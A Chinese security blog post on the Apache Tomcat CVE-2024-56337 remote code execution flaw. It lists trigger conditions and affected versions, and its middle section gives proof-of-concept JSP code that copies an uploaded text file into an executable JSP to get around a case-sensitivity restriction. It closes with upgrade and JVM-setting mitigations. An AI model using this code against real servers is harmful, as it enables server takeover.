Tomcat RCE | CVE-2024-56337远程代码执行,带复现视频及POC

admin 2024年12月23日12:47:24评论87 views字数 2531阅读8分26秒阅读模式

Tomcat RCE | CVE-2024-56337远程代码执行,带复现视频及POC

Tomcat RCE | CVE-2024-56337远程代码执行,带复现视频及POC
0x00 漏洞简述

    此次漏洞的出现,源于对Tomcat条件竞争漏洞(CVE-2024-50379)的修复措施,但修复不够完整,导致Apache Tomcat 在特定配置下运行,攻击者可能利用该漏洞通过写入恶意文件,实现远程代码执行。

    相比于原本的Tomcat条件竞争漏洞(CVE-2024-50379),无非是漏洞实现上稍微多了些许限制,其他无异样。

触发条件

    1、readonly 初始化参数设置为false;

    2、Tomcat 运行在区分大小写的文件系统上(Windows或某些Linux文件系统);

    3、Java属性sun.io.useCanonCaches为true(Java8和Java 11默认为 true,Java17 默认false,Java21及以上版本不受影响)

影响版本

  • Apache Tomcat 11.0.0-M1 至 11.0.1

  • Apache Tomcat 10.1.0-M1 至 10.1.33

  • Apache Tomcat 9.0.0-M1 至 9.0.97

Tomcat RCE | CVE-2024-56337远程代码执行,带复现视频及POC
0x01 前情回顾

    之前我们分别发布了两篇文章,分别是Tomcat条件竞争RCE的复现、以及一篇如何让它持久的利用:

Tomcat RCE | CVE-2024-50379条件竞争RCE复现,带视频教程及POC

书接上回 | Tomcat条件竞争RCE该如何深入利用,让它持久而并非昙花一现

Tomcat RCE | CVE-2024-56337远程代码执行,带复现视频及POC

    局限还是比较大的:首先就是需要在Windows上,在漏洞版本范围内,然后开了PUT请求,才能利用条件竞争进行上传。

    但是有些东西,你懂的,不可能完全没人开启的,研究它,就是为了在遇到这个漏洞时更好的进行利用:

Tomcat RCE | CVE-2024-56337远程代码执行,带复现视频及POC

    第二篇文章,咱们已经描述了这个条件竞争漏洞的利用条件,并提供了一个远程下载的方案,但是这个方案还是有一个问题:如果目标不出网,无法进行远程下载,所以咱们总结了一个最终利用。

Tomcat RCE | CVE-2024-56337远程代码执行,带复现视频及POC
0x02 群友反馈

    已经有群友反馈成功了,你也快试试吧:

Tomcat RCE | CVE-2024-56337远程代码执行,带复现视频及POC

Tomcat RCE | CVE-2024-56337远程代码执行,带复现视频及POC

Tomcat RCE | CVE-2024-56337远程代码执行,带复现视频及POC

Tomcat RCE | CVE-2024-56337远程代码执行,带复现视频及POC

Tomcat RCE | CVE-2024-56337远程代码执行,带复现视频及POC
0x03 直接开播
    不想打字了,直接看视频吧:
Tomcat分大小写,所以竞争结束后访问xlz1.jspxlz1.txt返回404;访问xlz1.Jsp或者xlz1.Txt的话会输出代码,反正就是不执行。 总结一下就是受限制了,读取生成的没毛病。

POC如下

获取时间:

GIF89a<%@page import="java.text.SimpleDateFormat"%><%@page import="java.util.Date"%><%@ page language="java" contentType="text/html; UTF-8"    pageEncoding="UTF-8"%><!DOCTYPE html><html><head><meta charset="utf-8"><title>java_bean</title></head><body>    <%        Date date = new Date();           SimpleDateFormat df = new SimpleDateFormat("yyyy-MM--dd HH:mm:ss");         String today = df.format(date);     %>    当前时间:<%= today%></body></html>

    读取重命名并保存:

<%@ page import="java.io.*" %><%    //要读取的文件    String sourceFilePath = application.getRealPath("/") + "xlz1.txt"; //重新保存后的文件名    String destinationFilePath = application.getRealPath("/") + "time123.jsp";     try {        FileReader fileReader = new FileReader(sourceFilePath);        BufferedReader bufferedReader = new BufferedReader(fileReader);        FileWriter fileWriter = new FileWriter(destinationFilePath);        BufferedWriter bufferedWriter = new BufferedWriter(fileWriter);        String line;        while ((line = bufferedReader.readLine()) != null) {            bufferedWriter.write(line);            bufferedWriter.newLine();          }        bufferedReader.close();        bufferedWriter.close();        out.println("SAVA_PATH: " + destinationFilePath);    } catch (IOException e) {        e.printStackTrace();        out.println("Error: " + e.getMessage());    }%>
Tomcat RCE | CVE-2024-56337远程代码执行,带复现视频及POC
0x04 修复措施

1. 升级 Apache Tomcat版本至:

  •     Apache Tomcat 11.0.2 及以上

  •     Apache Tomcat 10.1.34 及以上

  •     Apache Tomcat 9.0.98 及以上

2. 临时缓解

    Java8/Java11:设置系统属性sun.io.useCanonCaches 为false(默认值为 true)。

    Java17:如该属性被设置,需确保其值为false(默认值为 false)。

    Java21 及以上版本:无需配置(该属性已被移除)。

设置方法示例
    在启动 Tomcat 的 JVM 参数中添加:

-Dsun.io.useCanonCaches=false
Tomcat RCE | CVE-2024-56337远程代码执行,带复现视频及POC
(
END
)
!扫码添加哦!
联系进群即可,群内可交流技术

Tomcat RCE | CVE-2024-56337远程代码执行,带复现视频及POC

免责声明
文章内容仅限授权测试或学习使用
请勿进行非法的测试或攻击

    利用本账号所发文章
进行直接或间接的非法行为
均由操作者本人负全责
犀利猪安全文章对应作者

不为此承担任何责任

文章来自互联网或原创

如有侵权可联系我方进行删除

并诚挚的跟您说声抱歉

原文始发于微信公众号(犀利猪安全):Tomcat RCE | CVE-2024-56337远程代码执行,带复现视频及POC

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月23日12:47:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Tomcat RCE | CVE-2024-56337远程代码执行,带复现视频及POChttps://cn-sec.com/archives/3542836.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息